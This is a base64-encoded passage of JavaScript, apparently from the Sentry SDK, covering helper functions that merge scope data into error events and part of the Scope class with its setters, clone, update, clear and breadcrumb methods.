F0YVRvRXZlbnQoZXZlbnQsIGRhdGEpIHsKICBjb25zdCB7CiAgICBleHRyYSwKICAgIHRhZ3MsCiAgICB1c2VyLAogICAgY29udGV4dHMsCiAgICBsZXZlbCwKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdHJhbnNhY3Rpb25OYW1lLAogIH0gPSBkYXRhOwoKICBjb25zdCBjbGVhbmVkRXh0cmEgPSBkcm9wVW5kZWZpbmVkS2V5cyhleHRyYSk7CiAgaWYgKGNsZWFuZWRFeHRyYSAmJiBPYmplY3Qua2V5cyhjbGVhbmVkRXh0cmEpLmxlbmd0aCkgewogICAgZXZlbnQuZXh0cmEgPSB7IC4uLmNsZWFuZWRFeHRyYSwgLi4uZXZlbnQuZXh0cmEgfTsKICB9CgogIGNvbnN0IGNsZWFuZWRUYWdzID0gZHJvcFVuZGVmaW5lZEtleXModGFncyk7CiAgaWYgKGNsZWFuZWRUYWdzICYmIE9iamVjdC5rZXlzKGNsZWFuZWRUYWdzKS5sZW5ndGgpIHsKICAgIGV2ZW50LnRhZ3MgPSB7IC4uLmNsZWFuZWRUYWdzLCAuLi5ldmVudC50YWdzIH07CiAgfQoKICBjb25zdCBjbGVhbmVkVXNlciA9IGRyb3BVbmRlZmluZWRLZXlzKHVzZXIpOwogIGlmIChjbGVhbmVkVXNlciAmJiBPYmplY3Qua2V5cyhjbGVhbmVkVXNlcikubGVuZ3RoKSB7CiAgICBldmVudC51c2VyID0geyAuLi5jbGVhbmVkVXNlciwgLi4uZXZlbnQudXNlciB9OwogIH0KCiAgY29uc3QgY2xlYW5lZENvbnRleHRzID0gZHJvcFVuZGVmaW5lZEtleXMoY29udGV4dHMpOwogIGlmIChjbGVhbmVkQ29udGV4dHMgJiYgT2JqZWN0LmtleXMoY2xlYW5lZENvbnRleHRzKS5sZW5ndGgpIHsKICAgIGV2ZW50LmNvbnRleHRzID0geyAuLi5jbGVhbmVkQ29udGV4dHMsIC4uLmV2ZW50LmNvbnRleHRzIH07CiAgfQoKICBpZiAobGV2ZWwpIHsKICAgIGV2ZW50LmxldmVsID0gbGV2ZWw7CiAgfQoKICBpZiAodHJhbnNhY3Rpb25OYW1lKSB7CiAgICBldmVudC50cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uTmFtZTsKICB9Cn0KCmZ1bmN0aW9uIGFwcGx5QnJlYWRjcnVtYnNUb0V2ZW50KGV2ZW50LCBicmVhZGNydW1icykgewogIGNvbnN0IG1lcmdlZEJyZWFkY3J1bWJzID0gWy4uLihldmVudC5icmVhZGNydW1icyB8fCBbXSksIC4uLmJyZWFkY3J1bWJzXTsKICBldmVudC5icmVhZGNydW1icyA9IG1lcmdlZEJyZWFkY3J1bWJzLmxlbmd0aCA/IG1lcmdlZEJyZWFkY3J1bWJzIDogdW5kZWZpbmVkOwp9CgpmdW5jdGlvbiBhcHBseVNka01ldGFkYXRhVG9FdmVudChldmVudCwgc2RrUHJvY2Vzc2luZ01ldGFkYXRhKSB7CiAgZXZlbnQuc2RrUHJvY2Vzc2luZ01ldGFkYXRhID0gewogICAgLi4uZXZlbnQuc2RrUHJvY2Vzc2luZ01ldGFkYXRhLAogICAgLi4uc2RrUHJvY2Vzc2luZ01ldGFkYXRhLAogIH07Cn0KCmZ1bmN0aW9uIGFwcGx5U3BhblRvRXZlbnQoZXZlbnQsIHNwYW4pIHsKICBldmVudC5jb250ZXh0cyA9IHsgdHJhY2U6IHNwYW5Ub1RyYWNlQ29udGV4dChzcGFuKSwgLi4uZXZlbnQuY29udGV4dHMgfTsKICBjb25zdCByb290U3BhbiA9IGdldFJvb3RTcGFuKHNwYW4pOwogIGlmIChyb290U3BhbikgewogICAgZXZlbnQuc2RrUHJvY2Vzc2luZ01ldGFkYXRhID0gewogICAgICBkeW5hbWljU2FtcGxpbmdDb250ZXh0OiBnZXREeW5hbWljU2FtcGxpbmdDb250ZXh0RnJvbVNwYW4oc3BhbiksCiAgICAgIC4uLmV2ZW50LnNka1Byb2Nlc3NpbmdNZXRhZGF0YSwKICAgIH07CiAgICBjb25zdCB0cmFuc2FjdGlvbk5hbWUgPSBzcGFuVG9KU09OKHJvb3RTcGFuKS5kZXNjcmlwdGlvbjsKICAgIGlmICh0cmFuc2FjdGlvbk5hbWUpIHsKICAgICAgZXZlbnQudGFncyA9IHsgdHJhbnNhY3Rpb246IHRyYW5zYWN0aW9uTmFtZSwgLi4uZXZlbnQudGFncyB9OwogICAgfQogIH0KfQoKLyoqCiAqIEFwcGxpZXMgZmluZ2VycHJpbnQgZnJvbSB0aGUgc2NvcGUgdG8gdGhlIGV2ZW50IGlmIHRoZXJlJ3Mgb25lLAogKiB1c2VzIG1lc3NhZ2UgaWYgdGhlcmUncyBvbmUgaW5zdGVhZCBvciBnZXQgcmlkIG9mIGVtcHR5IGZpbmdlcnByaW50CiAqLwpmdW5jdGlvbiBhcHBseUZpbmdlcnByaW50VG9FdmVudChldmVudCwgZmluZ2VycHJpbnQpIHsKICAvLyBNYWtlIHN1cmUgaXQncyBhbiBhcnJheSBmaXJzdCBhbmQgd2UgYWN0dWFsbHkgaGF2ZSBzb21ldGhpbmcgaW4gcGxhY2UKICBldmVudC5maW5nZXJwcmludCA9IGV2ZW50LmZpbmdlcnByaW50ID8gYXJyYXlpZnkoZXZlbnQuZmluZ2VycHJpbnQpIDogW107CgogIC8vIElmIHdlIGhhdmUgc29tZXRoaW5nIG9uIHRoZSBzY29wZSwgdGhlbiBtZXJnZSBpdCB3aXRoIGV2ZW50CiAgaWYgKGZpbmdlcnByaW50KSB7CiAgICBldmVudC5maW5nZXJwcmludCA9IGV2ZW50LmZpbmdlcnByaW50LmNvbmNhdChmaW5nZXJwcmludCk7CiAgfQoKICAvLyBJZiB3ZSBoYXZlIG5vIGRhdGEgYXQgYWxsLCByZW1vdmUgZW1wdHkgYXJyYXkgZGVmYXVsdAogIGlmIChldmVudC5maW5nZXJwcmludCAmJiAhZXZlbnQuZmluZ2VycHJpbnQubGVuZ3RoKSB7CiAgICBkZWxldGUgZXZlbnQuZmluZ2VycHJpbnQ7CiAgfQp9CgovKioKICogRGVmYXVsdCB2YWx1ZSBmb3IgbWF4aW11bSBudW1iZXIgb2YgYnJlYWRjcnVtYnMgYWRkZWQgdG8gYW4gZXZlbnQuCiAqLwpjb25zdCBERUZBVUxUX01BWF9CUkVBRENSVU1CUyA9IDEwMDsKCi8qKgogKiBIb2xkcyBhZGRpdGlvbmFsIGV2ZW50IGluZm9ybWF0aW9uLiB7QGxpbmsgU2NvcGUuYXBwbHlUb0V2ZW50fSB3aWxsIGJlCiAqIGNhbGxlZCBieSB0aGUgY2xpZW50IGJlZm9yZSBhbiBldmVudCB3aWxsIGJlIHNlbnQuCiAqLwpjbGFzcyBTY29wZSAgewogIC8qKiBGbGFnIGlmIG5vdGlmeWluZyBpcyBoYXBwZW5pbmcuICovCgogIC8qKiBDYWxsYmFjayBmb3IgY2xpZW50IHRvIHJlY2VpdmUgc2NvcGUgY2hhbmdlcy4gKi8KCiAgLyoqIENhbGxiYWNrIGxpc3QgdGhhdCB3aWxsIGJlIGNhbGxlZCBhZnRlciB7QGxpbmsgYXBwbHlUb0V2ZW50fS4gKi8KCiAgLyoqIEFycmF5IG9mIGJyZWFkY3J1bWJzLiAqLwoKICAvKiogVXNlciAqLwoKICAvKiogVGFncyAqLwoKICAvKiogRXh0cmEgKi8KCiAgLyoqIENvbnRleHRzICovCgogIC8qKiBBdHRhY2htZW50cyAqLwoKICAvKiogUHJvcGFnYXRpb24gQ29udGV4dCBmb3IgZGlzdHJpYnV0ZWQgdHJhY2luZyAqLwoKICAvKioKICAgKiBBIHBsYWNlIHRvIHN0YXNoIGRhdGEgd2hpY2ggaXMgbmVlZGVkIGF0IHNvbWUgcG9pbnQgaW4gdGhlIFNESydzIGV2ZW50IHByb2Nlc3NpbmcgcGlwZWxpbmUgYnV0IHdoaWNoIHNob3VsZG4ndCBnZXQKICAgKiBzZW50IHRvIFNlbnRyeQogICAqLwoKICAvKiogRmluZ2VycHJpbnQgKi8KCiAgLyoqIFNldmVyaXR5ICovCiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCgogIC8qKgogICAqIFRyYW5zYWN0aW9uIE5hbWUKICAgKi8KCiAgLyoqIFNwYW4gKi8KCiAgLyoqIFNlc3Npb24gKi8KCiAgLyoqIFJlcXVlc3QgTW9kZSBTZXNzaW9uIFN0YXR1cyAqLwoKICAvKiogVGhlIGNsaWVudCBvbiB0aGlzIHNjb3BlICovCgogIC8vIE5PVEU6IEFueSBmaWVsZCB3aGljaCBnZXRzIGFkZGVkIGhlcmUgc2hvdWxkIGdldCBhZGRlZCBub3Qgb25seSB0byB0aGUgY29uc3RydWN0b3IgYnV0IGFsc28gdG8gdGhlIGBjbG9uZWAgbWV0aG9kLgoKICAgY29uc3RydWN0b3IoKSB7CiAgICB0aGlzLl9ub3RpZnlpbmdMaXN0ZW5lcnMgPSBmYWxzZTsKICAgIHRoaXMuX3Njb3BlTGlzdGVuZXJzID0gW107CiAgICB0aGlzLl9ldmVudFByb2Nlc3NvcnMgPSBbXTsKICAgIHRoaXMuX2JyZWFkY3J1bWJzID0gW107CiAgICB0aGlzLl9hdHRhY2htZW50cyA9IFtdOwogICAgdGhpcy5fdXNlciA9IHt9OwogICAgdGhpcy5fdGFncyA9IHt9OwogICAgdGhpcy5fZXh0cmEgPSB7fTsKICAgIHRoaXMuX2NvbnRleHRzID0ge307CiAgICB0aGlzLl9zZGtQcm9jZXNzaW5nTWV0YWRhdGEgPSB7fTsKICAgIHRoaXMuX3Byb3BhZ2F0aW9uQ29udGV4dCA9IGdlbmVyYXRlUHJvcGFnYXRpb25Db250ZXh0KCk7CiAgfQoKICAvKioKICAgKiBJbmhlcml0IHZhbHVlcyBmcm9tIHRoZSBwYXJlbnQgc2NvcGUuCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBzY29wZS5jbG9uZSgpYCBhbmQgYG5ldyBTY29wZSgpYCBpbnN0ZWFkLgogICAqLwogICBzdGF0aWMgY2xvbmUoc2NvcGUpIHsKICAgIHJldHVybiBzY29wZSA/IHNjb3BlLmNsb25lKCkgOiBuZXcgU2NvcGUoKTsKICB9CgogIC8qKgogICAqIENsb25lIHRoaXMgc2NvcGUgaW5zdGFuY2UuCiAgICovCiAgIGNsb25lKCkgewogICAgY29uc3QgbmV3U2NvcGUgPSBuZXcgU2NvcGUoKTsKICAgIG5ld1Njb3BlLl9icmVhZGNydW1icyA9IFsuLi50aGlzLl9icmVhZGNydW1ic107CiAgICBuZXdTY29wZS5fdGFncyA9IHsgLi4udGhpcy5fdGFncyB9OwogICAgbmV3U2NvcGUuX2V4dHJhID0geyAuLi50aGlzLl9leHRyYSB9OwogICAgbmV3U2NvcGUuX2NvbnRleHRzID0geyAuLi50aGlzLl9jb250ZXh0cyB9OwogICAgbmV3U2NvcGUuX3VzZXIgPSB0aGlzLl91c2VyOwogICAgbmV3U2NvcGUuX2xldmVsID0gdGhpcy5fbGV2ZWw7CiAgICBuZXdTY29wZS5fc3BhbiA9IHRoaXMuX3NwYW47CiAgICBuZXdTY29wZS5fc2Vzc2lvbiA9IHRoaXMuX3Nlc3Npb247CiAgICBuZXdTY29wZS5fdHJhbnNhY3Rpb25OYW1lID0gdGhpcy5fdHJhbnNhY3Rpb25OYW1lOwogICAgbmV3U2NvcGUuX2ZpbmdlcnByaW50ID0gdGhpcy5fZmluZ2VycHJpbnQ7CiAgICBuZXdTY29wZS5fZXZlbnRQcm9jZXNzb3JzID0gWy4uLnRoaXMuX2V2ZW50UHJvY2Vzc29yc107CiAgICBuZXdTY29wZS5fcmVxdWVzdFNlc3Npb24gPSB0aGlzLl9yZXF1ZXN0U2Vzc2lvbjsKICAgIG5ld1Njb3BlLl9hdHRhY2htZW50cyA9IFsuLi50aGlzLl9hdHRhY2htZW50c107CiAgICBuZXdTY29wZS5fc2RrUHJvY2Vzc2luZ01ldGFkYXRhID0geyAuLi50aGlzLl9zZGtQcm9jZXNzaW5nTWV0YWRhdGEgfTsKICAgIG5ld1Njb3BlLl9wcm9wYWdhdGlvbkNvbnRleHQgPSB7IC4uLnRoaXMuX3Byb3BhZ2F0aW9uQ29udGV4dCB9OwogICAgbmV3U2NvcGUuX2NsaWVudCA9IHRoaXMuX2NsaWVudDsKCiAgICByZXR1cm4gbmV3U2NvcGU7CiAgfQoKICAvKiogVXBkYXRlIHRoZSBjbGllbnQgb24gdGhlIHNjb3BlLiAqLwogICBzZXRDbGllbnQoY2xpZW50KSB7CiAgICB0aGlzLl9jbGllbnQgPSBjbGllbnQ7CiAgfQoKICAvKioKICAgKiBHZXQgdGhlIGNsaWVudCBhc3NpZ25lZCB0byB0aGlzIHNjb3BlLgogICAqCiAgICogSXQgaXMgZ2VuZXJhbGx5IHJlY29tbWVuZGVkIHRvIHVzZSB0aGUgZ2xvYmFsIGZ1bmN0aW9uIGBTZW50cnkuZ2V0Q2xpZW50KClgIGluc3RlYWQsIHVubGVzcyB5b3Uga25vdyB3aGF0IHlvdSBhcmUgZG9pbmcuCiAgICovCiAgIGdldENsaWVudCgpIHsKICAgIHJldHVybiB0aGlzLl9jbGllbnQ7CiAgfQoKICAvKioKICAgKiBBZGQgaW50ZXJuYWwgb24gY2hhbmdlIGxpc3RlbmVyLiBVc2VkIGZvciBzdWIgU0RLcyB0aGF0IG5lZWQgdG8gc3RvcmUgdGhlIHNjb3BlLgogICAqIEBoaWRkZW4KICAgKi8KICAgYWRkU2NvcGVMaXN0ZW5lcihjYWxsYmFjaykgewogICAgdGhpcy5fc2NvcGVMaXN0ZW5lcnMucHVzaChjYWxsYmFjayk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBhZGRFdmVudFByb2Nlc3NvcihjYWxsYmFjaykgewogICAgdGhpcy5fZXZlbnRQcm9jZXNzb3JzLnB1c2goY2FsbGJhY2spOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBzZXRVc2VyKHVzZXIpIHsKICAgIC8vIElmIG51bGwgaXMgcGFzc2VkIHdlIHdhbnQgdG8gdW5zZXQgZXZlcnl0aGluZywgYnV0IHN0aWxsIGRlZmluZSBrZXlzLAogICAgLy8gc28gdGhhdCBsYXRlciBkb3duIGluIHRoZSBwaXBlbGluZSBhbnkgZXhpc3RpbmcgdmFsdWVzIGFyZSBjbGVhcmVkLgogICAgdGhpcy5fdXNlciA9IHVzZXIgfHwgewogICAgICBlbWFpbDogdW5kZWZpbmVkLAogICAgICBpZDogdW5kZWZpbmVkLAogICAgICBpcF9hZGRyZXNzOiB1bmRlZmluZWQsCiAgICAgIHNlZ21lbnQ6IHVuZGVmaW5lZCwKICAgICAgdXNlcm5hbWU6IHVuZGVmaW5lZCwKICAgIH07CgogICAgaWYgKHRoaXMuX3Nlc3Npb24pIHsKICAgICAgdXBkYXRlU2Vzc2lvbih0aGlzLl9zZXNzaW9uLCB7IHVzZXIgfSk7CiAgICB9CgogICAgdGhpcy5fbm90aWZ5U2NvcGVMaXN0ZW5lcnMoKTsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgZ2V0VXNlcigpIHsKICAgIHJldHVybiB0aGlzLl91c2VyOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgZ2V0UmVxdWVzdFNlc3Npb24oKSB7CiAgICByZXR1cm4gdGhpcy5fcmVxdWVzdFNlc3Npb247CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBzZXRSZXF1ZXN0U2Vzc2lvbihyZXF1ZXN0U2Vzc2lvbikgewogICAgdGhpcy5fcmVxdWVzdFNlc3Npb24gPSByZXF1ZXN0U2Vzc2lvbjsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgc2V0VGFncyh0YWdzKSB7CiAgICB0aGlzLl90YWdzID0gewogICAgICAuLi50aGlzLl90YWdzLAogICAgICAuLi50YWdzLAogICAgfTsKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIHNldFRhZyhrZXksIHZhbHVlKSB7CiAgICB0aGlzLl90YWdzID0geyAuLi50aGlzLl90YWdzLCBba2V5XTogdmFsdWUgfTsKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIHNldEV4dHJhcyhleHRyYXMpIHsKICAgIHRoaXMuX2V4dHJhID0gewogICAgICAuLi50aGlzLl9leHRyYSwKICAgICAgLi4uZXh0cmFzLAogICAgfTsKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIHNldEV4dHJhKGtleSwgZXh0cmEpIHsKICAgIHRoaXMuX2V4dHJhID0geyAuLi50aGlzLl9leHRyYSwgW2tleV06IGV4dHJhIH07CiAgICB0aGlzLl9ub3RpZnlTY29wZUxpc3RlbmVycygpOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBzZXRGaW5nZXJwcmludChmaW5nZXJwcmludCkgewogICAgdGhpcy5fZmluZ2VycHJpbnQgPSBmaW5nZXJwcmludDsKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIHNldExldmVsKAogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICBsZXZlbCwKICApIHsKICAgIHRoaXMuX2xldmVsID0gbGV2ZWw7CiAgICB0aGlzLl9ub3RpZnlTY29wZUxpc3RlbmVycygpOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICAvKioKICAgKiBTZXRzIHRoZSB0cmFuc2FjdGlvbiBuYW1lIG9uIHRoZSBzY29wZSBmb3IgZnV0dXJlIGV2ZW50cy4KICAgKi8KICAgc2V0VHJhbnNhY3Rpb25OYW1lKG5hbWUpIHsKICAgIHRoaXMuX3RyYW5zYWN0aW9uTmFtZSA9IG5hbWU7CiAgICB0aGlzLl9ub3RpZnlTY29wZUxpc3RlbmVycygpOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBzZXRDb250ZXh0KGtleSwgY29udGV4dCkgewogICAgaWYgKGNvbnRleHQgPT09IG51bGwpIHsKICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIEB0eXBlc2NyaXB0LWVzbGludC9uby1keW5hbWljLWRlbGV0ZQogICAgICBkZWxldGUgdGhpcy5fY29udGV4dHNba2V5XTsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuX2NvbnRleHRzW2tleV0gPSBjb250ZXh0OwogICAgfQoKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIFNldHMgdGhlIFNwYW4gb24gdGhlIHNjb3BlLgogICAqIEBwYXJhbSBzcGFuIFNwYW4KICAgKiBAZGVwcmVjYXRlZCBJbnN0ZWFkIG9mIHNldHRpbmcgYSBzcGFuIG9uIGEgc2NvcGUsIHVzZSBgc3RhcnRTcGFuKClgL2BzdGFydFNwYW5NYW51YWwoKWAgaW5zdGVhZC4KICAgKi8KICAgc2V0U3BhbihzcGFuKSB7CiAgICB0aGlzLl9zcGFuID0gc3BhbjsKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIFJldHVybnMgdGhlIGBTcGFuYCBpZiB0aGVyZSBpcyBvbmUuCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBnZXRBY3RpdmVTcGFuKClgIGluc3RlYWQuCiAgICovCiAgIGdldFNwYW4oKSB7CiAgICByZXR1cm4gdGhpcy5fc3BhbjsKICB9CgogIC8qKgogICAqIFJldHVybnMgdGhlIGBUcmFuc2FjdGlvbmAgYXR0YWNoZWQgdG8gdGhlIHNjb3BlIChpZiB0aGVyZSBpcyBvbmUpLgogICAqIEBkZXByZWNhdGVkIFlvdSBzaG91bGQgbm90IHJlbHkgb24gdGhlIHRyYW5zYWN0aW9uLCBidXQganVzdCB1c2UgYHN0YXJ0U3BhbigpYCBBUElzIGluc3RlYWQuCiAgICovCiAgIGdldFRyYW5zYWN0aW9uKCkgewogICAgLy8gT2Z0ZW4sIHRoaXMgc3BhbiAoaWYgaXQgZXhpc3RzIGF0IGFsbCkgd2lsbCBiZSBhIHRyYW5zYWN0aW9uLCBidXQgaXQncyBub3QgZ3VhcmFudGVlZCB0byBiZS4gUmVnYXJkbGVzcywgaXQgd2lsbAogICAgLy8gaGF2ZSBhIHBvaW50ZXIgdG8gdGhlIGN1cnJlbnRseS1hY3RpdmUgdHJhbnNhY3Rpb24uCiAgICBjb25zdCBzcGFuID0gdGhpcy5fc3BhbjsKICAgIC8vIENhbm5vdCByZXBsYWNlIHdpdGggZ2V0Um9vdFNwYW4gYmVjYXVzZSBnZXRSb290U3BhbiByZXR1cm5zIGEgc3Bhbiwgbm90IGEgdHJhbnNhY3Rpb24KICAgIC8vIEFsc28sIHRoaXMgbWV0aG9kIHdpbGwgYmUgcmVtb3ZlZCBhbnl3YXkuCiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgIHJldHVybiBzcGFuICYmIHNwYW4udHJhbnNhY3Rpb247CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBzZXRTZXNzaW9uKHNlc3Npb24pIHsKICAgIGlmICghc2Vzc2lvbikgewogICAgICBkZWxldGUgdGhpcy5fc2Vzc2lvbjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuX3Nlc3Npb24gPSBzZXNzaW9uOwogICAgfQogICAgdGhpcy5fbm90aWZ5U2NvcGVMaXN0ZW5lcnMoKTsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgZ2V0U2Vzc2lvbigpIHsKICAgIHJldHVybiB0aGlzLl9zZXNzaW9uOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgdXBkYXRlKGNhcHR1cmVDb250ZXh0KSB7CiAgICBpZiAoIWNhcHR1cmVDb250ZXh0KSB7CiAgICAgIHJldHVybiB0aGlzOwogICAgfQoKICAgIGNvbnN0IHNjb3BlVG9NZXJnZSA9IHR5cGVvZiBjYXB0dXJlQ29udGV4dCA9PT0gJ2Z1bmN0aW9uJyA/IGNhcHR1cmVDb250ZXh0KHRoaXMpIDogY2FwdHVyZUNvbnRleHQ7CgogICAgaWYgKHNjb3BlVG9NZXJnZSBpbnN0YW5jZW9mIFNjb3BlKSB7CiAgICAgIGNvbnN0IHNjb3BlRGF0YSA9IHNjb3BlVG9NZXJnZS5nZXRTY29wZURhdGEoKTsKCiAgICAgIHRoaXMuX3RhZ3MgPSB7IC4uLnRoaXMuX3RhZ3MsIC4uLnNjb3BlRGF0YS50YWdzIH07CiAgICAgIHRoaXMuX2V4dHJhID0geyAuLi50aGlzLl9leHRyYSwgLi4uc2NvcGVEYXRhLmV4dHJhIH07CiAgICAgIHRoaXMuX2NvbnRleHRzID0geyAuLi50aGlzLl9jb250ZXh0cywgLi4uc2NvcGVEYXRhLmNvbnRleHRzIH07CiAgICAgIGlmIChzY29wZURhdGEudXNlciAmJiBPYmplY3Qua2V5cyhzY29wZURhdGEudXNlcikubGVuZ3RoKSB7CiAgICAgICAgdGhpcy5fdXNlciA9IHNjb3BlRGF0YS51c2VyOwogICAgICB9CiAgICAgIGlmIChzY29wZURhdGEubGV2ZWwpIHsKICAgICAgICB0aGlzLl9sZXZlbCA9IHNjb3BlRGF0YS5sZXZlbDsKICAgICAgfQogICAgICBpZiAoc2NvcGVEYXRhLmZpbmdlcnByaW50Lmxlbmd0aCkgewogICAgICAgIHRoaXMuX2ZpbmdlcnByaW50ID0gc2NvcGVEYXRhLmZpbmdlcnByaW50OwogICAgICB9CiAgICAgIGlmIChzY29wZVRvTWVyZ2UuZ2V0UmVxdWVzdFNlc3Npb24oKSkgewogICAgICAgIHRoaXMuX3JlcXVlc3RTZXNzaW9uID0gc2NvcGVUb01lcmdlLmdldFJlcXVlc3RTZXNzaW9uKCk7CiAgICAgIH0KICAgICAgaWYgKHNjb3BlRGF0YS5wcm9wYWdhdGlvbkNvbnRleHQpIHsKICAgICAgICB0aGlzLl9wcm9wYWdhdGlvbkNvbnRleHQgPSBzY29wZURhdGEucHJvcGFnYXRpb25Db250ZXh0OwogICAgICB9CiAgICB9IGVsc2UgaWYgKGlzUGxhaW5PYmplY3Qoc2NvcGVUb01lcmdlKSkgewogICAgICBjb25zdCBzY29wZUNvbnRleHQgPSBjYXB0dXJlQ29udGV4dCA7CiAgICAgIHRoaXMuX3RhZ3MgPSB7IC4uLnRoaXMuX3RhZ3MsIC4uLnNjb3BlQ29udGV4dC50YWdzIH07CiAgICAgIHRoaXMuX2V4dHJhID0geyAuLi50aGlzLl9leHRyYSwgLi4uc2NvcGVDb250ZXh0LmV4dHJhIH07CiAgICAgIHRoaXMuX2NvbnRleHRzID0geyAuLi50aGlzLl9jb250ZXh0cywgLi4uc2NvcGVDb250ZXh0LmNvbnRleHRzIH07CiAgICAgIGlmIChzY29wZUNvbnRleHQudXNlcikgewogICAgICAgIHRoaXMuX3VzZXIgPSBzY29wZUNvbnRleHQudXNlcjsKICAgICAgfQogICAgICBpZiAoc2NvcGVDb250ZXh0LmxldmVsKSB7CiAgICAgICAgdGhpcy5fbGV2ZWwgPSBzY29wZUNvbnRleHQubGV2ZWw7CiAgICAgIH0KICAgICAgaWYgKHNjb3BlQ29udGV4dC5maW5nZXJwcmludCkgewogICAgICAgIHRoaXMuX2ZpbmdlcnByaW50ID0gc2NvcGVDb250ZXh0LmZpbmdlcnByaW50OwogICAgICB9CiAgICAgIGlmIChzY29wZUNvbnRleHQucmVxdWVzdFNlc3Npb24pIHsKICAgICAgICB0aGlzLl9yZXF1ZXN0U2Vzc2lvbiA9IHNjb3BlQ29udGV4dC5yZXF1ZXN0U2Vzc2lvbjsKICAgICAgfQogICAgICBpZiAoc2NvcGVDb250ZXh0LnByb3BhZ2F0aW9uQ29udGV4dCkgewogICAgICAgIHRoaXMuX3Byb3BhZ2F0aW9uQ29udGV4dCA9IHNjb3BlQ29udGV4dC5wcm9wYWdhdGlvbkNvbnRleHQ7CiAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIGNsZWFyKCkgewogICAgdGhpcy5fYnJlYWRjcnVtYnMgPSBbXTsKICAgIHRoaXMuX3RhZ3MgPSB7fTsKICAgIHRoaXMuX2V4dHJhID0ge307CiAgICB0aGlzLl91c2VyID0ge307CiAgICB0aGlzLl9jb250ZXh0cyA9IHt9OwogICAgdGhpcy5fbGV2ZWwgPSB1bmRlZmluZWQ7CiAgICB0aGlzLl90cmFuc2FjdGlvbk5hbWUgPSB1bmRlZmluZWQ7CiAgICB0aGlzLl9maW5nZXJwcmludCA9IHVuZGVmaW5lZDsKICAgIHRoaXMuX3JlcXVlc3RTZXNzaW9uID0gdW5kZWZpbmVkOwogICAgdGhpcy5fc3BhbiA9IHVuZGVmaW5lZDsKICAgIHRoaXMuX3Nlc3Npb24gPSB1bmRlZmluZWQ7CiAgICB0aGlzLl9ub3RpZnlTY29wZUxpc3RlbmVycygpOwogICAgdGhpcy5fYXR0YWNobWVudHMgPSBbXTsKICAgIHRoaXMuX3Byb3BhZ2F0aW9uQ29udGV4dCA9IGdlbmVyYXRlUHJvcGFnYXRpb25Db250ZXh0KCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIGFkZEJyZWFkY3J1bWIoYnJlYWRjcnVtYiwgbWF4QnJlYWRjcnVtYnMpIHsKICAgIGNvbnN0IG1heENydW1icyA9IHR5cGVvZiBtYXhCcmVhZGNydW1icyA9PT0gJ251bWJlcicgPyBtYXhCcmVhZGNydW1icyA6IERFRkFVTFRfTUFYX0JSRUFEQ1JVTUJTOwoKICAgIC8vIE5vIGRhdGEgaGFzIGJlZW4gY2hhbmdlZCwgc28gZG9uJ3Qgbm90aWZ5IHNjb3BlIGxpc3RlbmVycwogICAgaWYgKG1heENydW1icyA8PSAwKSB7CiAgICAgIHJldHVybiB0aGlzOwogICAgfQoKICAgIGNvbnN0IG1lcmdlZEJyZWFkY3J1bWIgPSB7CiAgICAgIHRpbWVzdGFtcDogZGF0ZVRpbWVzdGFtcEluU2Vjb25kcygpLAogICAgICAuLi5icmVhZGNydW1iLAogICAgfTsKCiAgICBjb25zdCBicmVhZGNydW1icyA9IHRoaXMuX2JyZWFkY3J1bWJzO